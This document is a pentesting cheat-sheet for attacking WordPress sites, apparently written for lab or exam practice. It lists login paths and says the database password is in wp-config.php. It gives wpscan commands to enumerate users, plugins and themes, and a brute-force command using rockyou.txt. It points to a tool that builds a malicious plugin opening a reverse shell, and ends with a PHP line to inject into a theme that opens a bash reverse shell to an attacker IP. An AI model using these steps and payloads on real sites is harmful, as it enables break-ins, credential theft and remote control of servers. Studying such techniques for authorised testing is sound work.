Wordpress

Main WordPress Files

Wordpress runs on PHP and MySQL.

Uploaded files go to: /wp-content/uploads/

Theme files go to: /wp-content/themes/

Plugin files go to /wp-content/plugins/

Core files go to: /wp-includes/

Default login paths:

• /wp-login.php

• /wp-login

• /wp-admin/

• /wp-admin.php

• /login/

You can find the root password of the database in /wp-config.php/

There is multiple ways to get a shell using WordPress, without valid credentials we can see if we can exploit any plugins. The reason being, Plugins are community made, therefore they can be more insecure and not as frequently updated as the actual Wordpress software.

Scanning Wordpress:

wpscan --url http://192.168.105.55 --enumerate u -e cb -e at 

By doing a searchsploit search of the plugins we can find vulnerable plugins that we can turn into Remote Code Execution.

Enumerating Themes and Plugins

Enumerate Plugins

To scan for plugins, run the following:

wpscan --url <URL> -e ap

Argument Key:

• "-e" is for enumeration

• "ap" is "all plugins

• "vp" is vulnerable plugins

• "p" is popular plugins

Tip: I recommend always using --plugins-detection mixed.

Enumeration of Themes

You can specify WPScan to check for themes only by using the following:

wpscan --url <URL> -e at

Operator Key:

• "-e" flag is for enumeration

• "t" is "popular themes"

• "at" is "all themes"

• "vt" is "vulnerable themes" only

Brute Forcing Wordpress:

wpscan –url http://example.com –passwords rockyou.txt –usernames admin

Remote Code Execution through Plugins (Authenticated)

In the admin panel of wordpress one will be able to see that we can install a new plugin.

GitHub - wetw0rk/malicious-wordpress-plugin: Simply generates a wordpress plugin that will grant you a reverse shell once uploaded. I recommend installing Kali Linux, as msfvenom is used to generate the payload.GitHub

This python script will automatically generate a zip file in which we can install as a plugin and then navigating to it will result in a reverse shell.

python wordpwn.py <reverseip> 443 Y

Install the plugin.

Navigate to it.

We execute it and we get a reverse shell.

Malicious PHP injection

Simply navigate to a theme and edit the PHP file to execute a reverse shell as such:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.242/80 0>&1'");              ?>